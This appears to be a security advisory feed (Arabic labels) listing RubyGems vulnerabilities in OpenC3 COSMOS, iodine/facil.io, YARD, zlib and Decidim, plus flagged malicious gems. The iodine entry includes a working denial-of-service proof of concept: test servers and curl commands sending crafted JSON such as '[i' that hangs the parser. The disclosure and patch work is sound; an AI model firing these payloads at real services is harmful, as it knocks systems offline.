الإصدارات المتأثرة

6.10.0, 6.10.1, 6.10.2, 6.10.3, 6.10.4

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

غير محدد
📦 openc3 📌 5.0.10, 5.0.11, 5.0.6, 5.0.7, 5.0.8 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary The Command Sender UI uses an unsafe `eval()` function on array-like command parameters, which allows a user-supplied payload to execute in the browser when sending a command. This creates a self-XSS risk because an attacker can trigger their own script execution in t...
📅 2026-04-22 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Summary The Command Sender UI uses an unsafe `eval()` function on array-like command parameters, which allows a user-supplied payload to execute in the browser when sending a command. This creates a self-XSS risk because an attacker can trigger their own script execution in the victim’s session, if allowed to influence the array parameter input, for example via phishing. If successful, an attacker may read or modify data in the authenticated browser context, including session tokens in local storage. ### Details The unsafe `eval()` usage on user-supplied ARRAY parameters happens in `convertToValue` method in [CommandSender.vue](https://github.com/OpenC3/cosmos/blob/main/openc3-cosmos-init/plugins/packages/openc3-cosmos-tool-cmdsender/src/tools/CommandSender/CommandSender.vue) ### PoC 1. Using a drop-down form, choose any command that supports ARRAY parameters, 2. Inside square brackets “[…]” place a JavaScript code to be executed 3. Send command to CmdTlmServer using dedicated “Send” button 4. Observe JavaScript code being executed in the current browser session context Below example uses `INST ARYCMD` to execute simple JavaScript code snippet `alert(“XSS”)`. <img width="947" height="356" alt="image" src="https://github.com/user-attachments/assets/6fbdb6c9-616a-4268-bbb8-a8a1044437ad" /> <img width="942" height="545" alt="image" src="https://github.com/user-attachments/assets/4df24353-aea0-4aa0-adcf-b7c7e387dc83" /> ### Impact Local JavaScript execution in the user's browser

الإصدارات المتأثرة

5.0.10, 5.0.11, 5.0.6, 5.0.7, 5.0.8

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

غير محدد
📦 openc3 📌 5.0.10, 5.0.11, 5.0.6, 5.0.7, 5.0.8 📝 إدارة محتوى 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary OpenC3 COSMOS contains a design flaw in the `save_tool_config()` function that allows saving tool configuration files at arbitrary locations inside the shared `/plugins` directory tree by supplying crafted configuration filenames. Although the implementation sufficien...
📅 2026-04-22 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Summary OpenC3 COSMOS contains a design flaw in the `save_tool_config()` function that allows saving tool configuration files at arbitrary locations inside the shared `/plugins` directory tree by supplying crafted configuration filenames. Although the implementation sufficiently mitigates standard path traversal attacks, by canonicalizing filename to an absolute path, all plugins share this same root directory. That enables users to create arbitrary file structures and overwrite existing configuration files within the shared `/plugins` directory. ### Details In function `save_tool_config()` ([local_mode.rb](https://github.com/OpenC3/cosmos/blob/397abec0d57972881a2e8dc10902d0dce9c27f42/openc3/lib/openc3/utilities/local_mode.rb#L452)) responsible for saving user-supplied tool configuration, the desired saving directory is not sufficiently enforced, instead allowing writes inside entire `OPENC3_LOCAL_MODE_PATH`. ### PoC 1. Navigate to any tool that enables “Save Configuration” option in left-hand drop-down menu (here Limits Monitor as an example) 2. Save a new config with path traversal name using “../” sequences to escape desired directory (up to 3 levels high) 3. Observe new files created in /plugins directory by inspecting docker container directly (`openc3-COSMOS-cmd-tlm-api`) or using Bucket Explorer (`plugin_default`) <img width="811" height="584" alt="image" src="https://github.com/user-attachments/assets/015a59b4-8b18-4801-aef0-df4831d5c1c3" /> <img width="720" height="664" alt="image" src="https://github.com/user-attachments/assets/8ca4a5b7-ee45-4c3b-99f6-f41f974a74a7" /> ### Impact Modifying the data of other plugins

الإصدارات المتأثرة

5.0.10, 5.0.11, 5.0.6, 5.0.7, 5.0.8

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

عالية
📦 openc3 📌 5.0.10, 5.0.11, 5.0.6, 5.0.7, 5.0.8 📄 مكتبي 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary The OpenC3 password change functionality allows a user to change their password without providing the old password, by accepting a valid session token instead. In assumed breach scenarios, this behaviour can be exploited by an attacker who has already obtained a valid...
📅 2026-04-22 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Summary The OpenC3 password change functionality allows a user to change their password without providing the old password, by accepting a valid session token instead. In assumed breach scenarios, this behaviour can be exploited by an attacker who has already obtained a valid session token, to gain persistence in hijacked account (including admin) and prevent legitimate users from accessing the account. ### Details The design flaw in authentication model ([authentication.rb](https://github.com/OpenC3/cosmos/blob/397abec0d57972881a2e8dc10902d0dce9c27f42/openc3/lib/openc3/utilities/authentication.rb)) allows for interchangeable use of password and session tokens for user authentication As old tokens are not revoked upon password reset, an attacker who has obtained a valid session token can continue to authenticate and change the account’s password even after the victim resets it, thereby maintaining persistent control over the compromised account. ### PoC 1. Attacker is logged in user account with hijacked valid session token, but not knowing the actual password 2. Legitimate user, as preventive action, changes his password (_password123_) using old password (_password_), that he knows, then establishes new session 3. Attacker issues another password change request (in web proxy like Burp) supplying his still valid token as _old_password_, changing it to attacker-password, from this point preventing any other legitimate users from accessing account <img width="912" height="479" alt="image" src="https://github.com/user-attachments/assets/d27b5980-0326-40f8-bb39-657d7b1c95a0" /> <img width="923" height="423" alt="image" src="https://github.com/user-attachments/assets/060d9fe1-637e-4a2d-9142-76612984ea28" /> ### Impact Persistence of an attacker who obtained valid session token and preventing legitimate users from account access

الإصدارات المتأثرة

5.0.10, 5.0.11, 5.0.6, 5.0.7, 5.0.8

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

8.7/10 عالية
📦 iodine 📌 All versions < 0.0.1, 0.0.2, 0.0.3, 0.0.4, 0.1.0 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems ⚡ DoS 🎯 عن بعد ⚪ لم تُستغل
💬 ### Summary `fio_json_parse` can enter an infinite loop when it encounters a nested JSON value starting with `i` or `I`. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because `iodine` vendors the same parser code, the issue als...
📅 2026-04-22 NVD 🔗 التفاصيل

الوصف الكامل

### Summary `fio_json_parse` can enter an infinite loop when it encounters a nested JSON value starting with `i` or `I`. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because `iodine` vendors the same parser code, the issue also affects `iodine` when it parses attacker-controlled JSON. The smallest reproducer found is `[i`. The quoted-value form that originally exposed the issue, `[""i`, reaches the same bug because the parser tolerates missing commas and then treats the trailing `i` as the start of another value. ### Details The vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`; `master`: lines `434-468` in the current tree as tested). This parser is reached from real library entry points, not just the header in isolation: - `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`) and `402-411` (`fiobj_hash_update_json`) - `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`) - `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411` Relevant flow: 1. Inside an array or object, the parser sees `i` or `I` and jumps to the `numeral:` label. 2. It calls `fio_atol((char **)&tmp)`. 3. For a bare `i` / `I`, `fio_atol` consumes zero characters and leaves `tmp == pos`. 4. The current code only falls back to float parsing when `JSON_NUMERAL[*tmp]` is true. 5. `JSON_NUMERAL['i'] == 0`, so the parser incorrectly accepts the value as an integer and sets `pos = tmp` without advancing. 6. Because parsing is still nested (`parser->depth > 0`), the outer loop continues forever with the same `pos`. The same logic exists in `iodine`'s vendored copy at `ext/iodine/fio_json_parser.h` lines `434-468`. Why the `[""i` form hangs: 1. The parser accepts the empty string `""` as the first array element. 2. It does not require a comma before the next token. 3. The trailing `i` is then parsed as a new nested value. 4. The zero-progress numeral path above causes the infinite loop. Examples that trigger the bug: - Array form, minimal: `[i` - Object form: `{"a":i` - After a quoted value in an array: `[""i` - After a quoted value in an object: `{"a":""i` ## PoC Environment used for verification: - `facil.io` commit: `162df84001d66789efa883eebb0567426d00148e` - `iodine` commit: `5bebba698d69023cf47829afe51052f8caa6c7f8` - standalone compile against `fio_json_parser.h` ### Minimal standalone program Use the normal HTTP stack. The following server calls `http_parse_body(h)`, which reaches `fiobj_json2obj` and then `fio_json_parse` for `Content-Type: application/json`. ```c #define _POSIX_C_SOURCE 200809L #include <stdio.h> #include <time.h> #include <fio.h> #include <http.h> static void on_request(http_s *h) { fprintf(stderr, "calling http_parse_body\n"); fflush(stderr); http_parse_body(h); fprintf(stderr, "returned from http_parse_body\n"); http_send_body(h, "ok\n", 3); } int main(void) { if (http_listen("3000", "127.0.0.1", .on_request = on_request, .max_body_size = (1024 * 1024), .log = 1) == -1) { perror("http_listen"); return 1; } fio_start(.threads = 1, .workers = 1); return 0; } ``` `http_parse_body(h)` is the higher-level entry point and, for `Content-Type: application/json`, it reaches `fiobj_json2obj` in `lib/facil/http/http.c:1947-1953`. Save it as `src/main.c` in a vulnerable `facil.io` checkout and build it with the repo `makefile`: ```bash git checkout 0.7.6 mkdir -p src make NAME=http_json_poc ``` Run: ```bash ./tmp/http_json_poc ``` Then in another terminal send one of these payloads: ```bash printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ ``` Observed result on a vulnerable build: - The server prints `calling http_parse_body` and never reaches `returned from http_parse_body`. - The request never completes. - One worker thread spins until the process is killed. ### Downstream impact in `iodine` `iodine` vendors the same parser implementation in `ext/iodine/fio_json_parser.h`, so any `iodine` code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior. Single-file `iodine` HTTP server repro: ```ruby require "iodine" APP = proc do |env| body = env["rack.input"].read.to_s warn "calling Iodine::JSON.parse on: #{body.inspect}" Iodine::JSON.parse(body) warn "returned from Iodine::JSON.parse" [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]] end Iodine.listen service: :http, address: "127.0.0.1", port: "3000", handler: APP Iodine.threads = 1 Iodine.workers = 1 Iodine.start ``` Run: ```bash ruby iodine_json_parse_http_poc.rb ``` Then in a second terminal: ```bash printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ ``` On a vulnerable build, the server prints the `calling Iodine::JSON.parse...` line but never prints the `returned from Iodine::JSON.parse` line for these payloads. ## Impact This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted. I would describe the impact as: - Availability impact: high for affected parser entry points - Confidentiality impact: none observed - Integrity impact: none observed ## Suggested Patch Treat zero-consumption numeric parses as failures before accepting the token. ```diff diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h @@ uint8_t *tmp = pos; long long i = fio_atol((char **)&tmp); if (tmp > limit) goto stop; - if (!tmp || JSON_NUMERAL[*tmp]) { + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) { tmp = pos; double f = fio_atof((char **)&tmp); if (tmp > limit) goto stop; - if (!tmp || JSON_NUMERAL[*tmp]) + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) goto error; fio_json_on_float(parser, f); pos = tmp; ``` This preserves permissive `inf` / `nan` handling when the float parser actually consumes input, but rejects bare `i` / `I` tokens that otherwise leave the cursor unchanged. The same change should be mirrored to `iodine`'s vendored copy: - `ext/iodine/fio_json_parser.h` ## Impact - `facil.io` - Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e` (`git describe`: `0.7.5-24-g162df840`) - Verified on tagged releases `0.7.5` and `0.7.6` - `iodine` Ruby gem - Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8` - Verified on tag / gem version `v0.7.58` - The gem vendors a copy of the vulnerable parser in `ext/iodine/fio_json_parser.h`

الإصدارات المتأثرة

All versions < 0.0.1, 0.0.2, 0.0.3, 0.0.4, 0.1.0

نوع الثغرة

CWE-400 — DoS

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

غير محدد
📦 yard 📌 All versions < 0.2.0, 0.2.1, 0.2.2, 0.2.3, 0.2.3.2 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Impact A path traversal vulnerability was discovered in YARD <= 0.9.41 when using yard server to serve documentation. This bug would allow unsanitized HTTP requests to access arbitrary files on the machine of a yard server host under certain conditions. The original patch i...
📅 2026-04-17 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Impact A path traversal vulnerability was discovered in YARD <= 0.9.41 when using yard server to serve documentation. This bug would allow unsanitized HTTP requests to access arbitrary files on the machine of a yard server host under certain conditions. The original patch in [GHSA-xfhh-rx56-rxcr](https://github.com/lsegal/yard/security/advisories/GHSA-xfhh-rx56-rxcr) was incorrectly applied. ### Patches Please upgrade to YARD v0.9.42 immediately if you are relying on yard server to host documentation in any untrusted environments without WEBrick and rely on `--docroot`. ### Workarounds For users who cannot upgrade, it is possible to perform path sanitization of HTTP requests at your webserver level. WEBrick, for example, can perform such sanitization by default (which you can use via yard server -s webrick), as can certain rules in your webserver configuration.

الإصدارات المتأثرة

All versions < 0.2.0, 0.2.1, 0.2.2, 0.2.3, 0.2.3.2

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

غير محدد
📦 yard 📌 All versions < 0.2.0, 0.2.1, 0.2.2, 0.2.3, 0.2.3.2 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems ⚡ Path Traversal 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Impact A path traversal vulnerability was discovered in YARD <= 0.9.41 when using yard server to serve documentation. This bug would allow unsanitized HTTP requests to access arbitrary files on the machine of a yard server host under certain conditions. The original patch i...
📅 2026-04-17 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Impact A path traversal vulnerability was discovered in YARD <= 0.9.41 when using yard server to serve documentation. This bug would allow unsanitized HTTP requests to access arbitrary files on the machine of a yard server host under certain conditions. The original patch in [GHSA-xfhh-rx56-rxcr](https://github.com/lsegal/yard/security/advisories/GHSA-xfhh-rx56-rxcr) was incorrectly applied. ### Patches Please upgrade to YARD v0.9.42 immediately if you are relying on yard server to host documentation in any untrusted environments without WEBrick and rely on `--docroot`. ### Workarounds For users who cannot upgrade, it is possible to perform path sanitization of HTTP requests at your webserver level. WEBrick, for example, can perform such sanitization by default (which you can use via yard server -s webrick), as can certain rules in your webserver configuration.

الإصدارات المتأثرة

All versions < 0.2.0, 0.2.1, 0.2.2, 0.2.3, 0.2.3.2

نوع الثغرة

CWE-22 — Path Traversal

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

1.7/10 منخفضة
📦 zlib, zlib, zlib 📌 >= 3.2.0, < 3.2.3, >= 3.1.0, < 3.1.2, < 3.0.1 📄 مكتبي 📦 مكتبة Ruby rubygems ⚡ Buffer Overflow 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Details A buffer overflow vulnerability exists in `Zlib::GzipReader`. The `zstream_buffer_ungets` function prepends caller-provided bytes ahead of previously produced output but fails to guarantee the backing Ruby string has enough capacity before the memmove shifts the exi...
📅 2026-04-16 NVD 🔗 التفاصيل

الوصف الكامل

### Details A buffer overflow vulnerability exists in `Zlib::GzipReader`. The `zstream_buffer_ungets` function prepends caller-provided bytes ahead of previously produced output but fails to guarantee the backing Ruby string has enough capacity before the memmove shifts the existing data. This can lead to memory corruption when the buffer length exceeds capacity. ### Recommended action We recommend to update the `zlib` gem to version 3.2.3 or later. In order to ensure compatibility with bundled version in older Ruby series, you may update as follows instead: * For Ruby 3.2 users: Update to zlib 3.0.1 * For Ruby 3.3 users: Update to zlib 3.1.2 You can use gem update zlib to update it. If you are using bundler, please add `gem "zlib", ">= 3.2.3"` to your Gemfile. ### Affected versions zlib gem 3.2.2 or lower ### Credits [calysteon](https://hackerone.com/calysteon) ### References * https://hackerone.com/reports/3467067

الإصدارات المتأثرة

>= 3.2.0, < 3.2.3, >= 3.1.0, < 3.1.2, < 3.0.1

نوع الثغرة

CWE-120 — Buffer Overflow

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

حرجة
📦 monolith-twirp-pullsd-users 📌 All versions < 0.0.1, 1.0.3 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems ⚡ Malicious Code 🎯 supply chain ☠️ كود خبيث 🔴 مستغلة
💬 --- _-= Per source details. Do not edit below this line.=-_
📅 2026-04-16 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

--- _-= Per source details. Do not edit below this line.=-_

الإصدارات المتأثرة

All versions < 0.0.1, 1.0.3

المراجع

حرجة
📦 monolith-twirp-pullsd-authorization 📌 All versions < 0.0.1, 1.0.4 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems ⚡ Malicious Code 🎯 supply chain ☠️ كود خبيث 🔴 مستغلة
💬 --- _-= Per source details. Do not edit below this line.=-_
📅 2026-04-16 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

--- _-= Per source details. Do not edit below this line.=-_

الإصدارات المتأثرة

All versions < 0.0.1, 1.0.4

المراجع

حرجة
📦 gitlab-orchestrator 📌 99.99.9, 99.99.10 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems ⚡ Malicious Code 🎯 supply chain ☠️ كود خبيث 🔴 مستغلة
💬 --- _-= Per source details. Do not edit below this line.=-_
📅 2026-04-16 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

--- _-= Per source details. Do not edit below this line.=-_

الإصدارات المتأثرة

99.99.9, 99.99.10

المراجع

عالية
📦 iodine 📌 All versions < 0.0.1, 0.0.2, 0.0.3, 0.0.4, 0.1.0 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل
💬 ### Summary `fio_json_parse` can enter an infinite loop when it encounters a nested JSON value starting with `i` or `I`. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because `iodine` vendors the same parser code, the issue als...
📅 2026-04-14 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

### Summary `fio_json_parse` can enter an infinite loop when it encounters a nested JSON value starting with `i` or `I`. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because `iodine` vendors the same parser code, the issue also affects `iodine` when it parses attacker-controlled JSON. The smallest reproducer found is `[i`. The quoted-value form that originally exposed the issue, `[""i`, reaches the same bug because the parser tolerates missing commas and then treats the trailing `i` as the start of another value. ### Details The vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`; `master`: lines `434-468` in the current tree as tested). This parser is reached from real library entry points, not just the header in isolation: - `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`) and `402-411` (`fiobj_hash_update_json`) - `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`) - `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411` Relevant flow: 1. Inside an array or object, the parser sees `i` or `I` and jumps to the `numeral:` label. 2. It calls `fio_atol((char **)&tmp)`. 3. For a bare `i` / `I`, `fio_atol` consumes zero characters and leaves `tmp == pos`. 4. The current code only falls back to float parsing when `JSON_NUMERAL[*tmp]` is true. 5. `JSON_NUMERAL['i'] == 0`, so the parser incorrectly accepts the value as an integer and sets `pos = tmp` without advancing. 6. Because parsing is still nested (`parser->depth > 0`), the outer loop continues forever with the same `pos`. The same logic exists in `iodine`'s vendored copy at `ext/iodine/fio_json_parser.h` lines `434-468`. Why the `[""i` form hangs: 1. The parser accepts the empty string `""` as the first array element. 2. It does not require a comma before the next token. 3. The trailing `i` is then parsed as a new nested value. 4. The zero-progress numeral path above causes the infinite loop. Examples that trigger the bug: - Array form, minimal: `[i` - Object form: `{"a":i` - After a quoted value in an array: `[""i` - After a quoted value in an object: `{"a":""i` ## PoC Environment used for verification: - `facil.io` commit: `162df84001d66789efa883eebb0567426d00148e` - `iodine` commit: `5bebba698d69023cf47829afe51052f8caa6c7f8` - standalone compile against `fio_json_parser.h` ### Minimal standalone program Use the normal HTTP stack. The following server calls `http_parse_body(h)`, which reaches `fiobj_json2obj` and then `fio_json_parse` for `Content-Type: application/json`. ```c #define _POSIX_C_SOURCE 200809L #include <stdio.h> #include <time.h> #include <fio.h> #include <http.h> static void on_request(http_s *h) { fprintf(stderr, "calling http_parse_body\n"); fflush(stderr); http_parse_body(h); fprintf(stderr, "returned from http_parse_body\n"); http_send_body(h, "ok\n", 3); } int main(void) { if (http_listen("3000", "127.0.0.1", .on_request = on_request, .max_body_size = (1024 * 1024), .log = 1) == -1) { perror("http_listen"); return 1; } fio_start(.threads = 1, .workers = 1); return 0; } ``` `http_parse_body(h)` is the higher-level entry point and, for `Content-Type: application/json`, it reaches `fiobj_json2obj` in `lib/facil/http/http.c:1947-1953`. Save it as `src/main.c` in a vulnerable `facil.io` checkout and build it with the repo `makefile`: ```bash git checkout 0.7.6 mkdir -p src make NAME=http_json_poc ``` Run: ```bash ./tmp/http_json_poc ``` Then in another terminal send one of these payloads: ```bash printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ ``` Observed result on a vulnerable build: - The server prints `calling http_parse_body` and never reaches `returned from http_parse_body`. - The request never completes. - One worker thread spins until the process is killed. ### Downstream impact in `iodine` `iodine` vendors the same parser implementation in `ext/iodine/fio_json_parser.h`, so any `iodine` code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior. Single-file `iodine` HTTP server repro: ```ruby require "iodine" APP = proc do |env| body = env["rack.input"].read.to_s warn "calling Iodine::JSON.parse on: #{body.inspect}" Iodine::JSON.parse(body) warn "returned from Iodine::JSON.parse" [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]] end Iodine.listen service: :http, address: "127.0.0.1", port: "3000", handler: APP Iodine.threads = 1 Iodine.workers = 1 Iodine.start ``` Run: ```bash ruby iodine_json_parse_http_poc.rb ``` Then in a second terminal: ```bash printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ ``` On a vulnerable build, the server prints the `calling Iodine::JSON.parse...` line but never prints the `returned from Iodine::JSON.parse` line for these payloads. ## Impact This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted. I would describe the impact as: - Availability impact: high for affected parser entry points - Confidentiality impact: none observed - Integrity impact: none observed ## Suggested Patch Treat zero-consumption numeric parses as failures before accepting the token. ```diff diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h @@ uint8_t *tmp = pos; long long i = fio_atol((char **)&tmp); if (tmp > limit) goto stop; - if (!tmp || JSON_NUMERAL[*tmp]) { + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) { tmp = pos; double f = fio_atof((char **)&tmp); if (tmp > limit) goto stop; - if (!tmp || JSON_NUMERAL[*tmp]) + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) goto error; fio_json_on_float(parser, f); pos = tmp; ``` This preserves permissive `inf` / `nan` handling when the float parser actually consumes input, but rejects bare `i` / `I` tokens that otherwise leave the cursor unchanged. The same change should be mirrored to `iodine`'s vendored copy: - `ext/iodine/fio_json_parser.h` ## Impact - `facil.io` - Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e` (`git describe`: `0.7.5-24-g162df840`) - Verified on tagged releases `0.7.5` and `0.7.6` - `iodine` Ruby gem - Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8` - Verified on tag / gem version `v0.7.58` - The gem vendors a copy of the vulnerable parser in `ext/iodine/fio_json_parser.h`

الإصدارات المتأثرة

All versions < 0.0.1, 0.0.2, 0.0.3, 0.0.4, 0.1.0

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

7.5/10 عالية
📦 decidim-comments, decidim-api, decidim-comments, decidim-api 📌 > 0.31.0.rc1, < 0.31.1, > 0.31.0.rc1, < 0.31.1, >= 0.0.1, < 0.30.5, >= 0.0.1, < 0.30.5 ⛓️‍💥 هجوم سلسلة التوريد rubygems ⚡ Missing Authorization 🎯 عن بعد ⚪ لم تُستغل 🔍 ahukkanen
💬 ### Impact The root level `commentable` field in the API allows access to all commentable resources within the platform, without any permission checks. All Decidim instances are impacted that have not secured the `/api` endpoint. The `/api` endpoint is publicly available with the...
📅 2026-04-14 GitHub 🔗 التفاصيل

الوصف الكامل

### Impact The root level `commentable` field in the API allows access to all commentable resources within the platform, without any permission checks. All Decidim instances are impacted that have not secured the `/api` endpoint. The `/api` endpoint is publicly available with the default configuration. ### Patches Not available ### Workarounds To mitigate the issue, you can limit the scope to only authenticated users by limiting access to the `/api` endpoint. This would require custom code or installing the 3rd party module `Decidim::Apiauth`. With custom code, the `/api` endpoint can be limited to only authenticated users with the following code (needs to run during application initialization): ```ruby # Within your application # config/initializers/limit_api_access.rb module LimitApiAccess extend ActiveSupport::Concern included do prepend_before_action do |controller| unless controller.send(:user_signed_in?) render plain: I18n.t("actions.login_before_access", scope: "decidim.core"), status: :unauthorized end end end end Rails.application.config.to_prepare do Decidim::Api::ApplicationController.include(LimitApiAccess) end ``` Please note that this would only disable public access to the API and all authenticated users would be still able to exploit the vulnerability. This may be sufficient for some installations, but not for all. Another workaround is to limit the availability of the `/api` endpoint to only trusted ranges of IPs that need to access the API. The following Nginx configuration would help limiting the API access to only specific IPs: ``` location /api { allow 192.168.1.100; allow 192.168.1.101; deny all; } ``` The same configuration can be also used without the `allow` statements to disable all traffic to the the `/api` endpoint. When considering a workaround and the seriousness of the vulnerability, please consider the nature of the platform. If the platform is primarily serving public data, this vulnerability is not serious by its nature. If the platform is protecting some resources, e.g. inside private participation spaces, the vulnerability may expose some data to the attacker that is not meant public. If you have enabled the organization setting "Force users to authenticate before access organization", the scope of this vulnerability is limited to the users who are allowed to log in to the Decidim platform. This setting was introduced in version 0.19.0 and it was applied to the `/api` endpoint in version 0.22.0.

الإصدارات المتأثرة

> 0.31.0.rc1, < 0.31.1, > 0.31.0.rc1, < 0.31.1, >= 0.0.1, < 0.30.5, >= 0.0.1, < 0.30.5

نوع الثغرة

CWE-862 — Missing Authorization

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

عالية
📦 decidim-core 📌 All versions < 0.31.0, 0.31.0.rc1, 0.31.0.rc2 ⛓️‍💥 هجوم سلسلة التوريد 💎 مكتبة Ruby RubyGems 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Impact The vulnerability allows any registered and authenticated user to accept or reject any amendments. The impact is on any users who have created proposals where the amendments feature is enabled. This also elevates the user accepting the amendment as the author of the or...
📅 2026-04-14 OSV/RubyGems 🔗 التفاصيل

الوصف الكامل

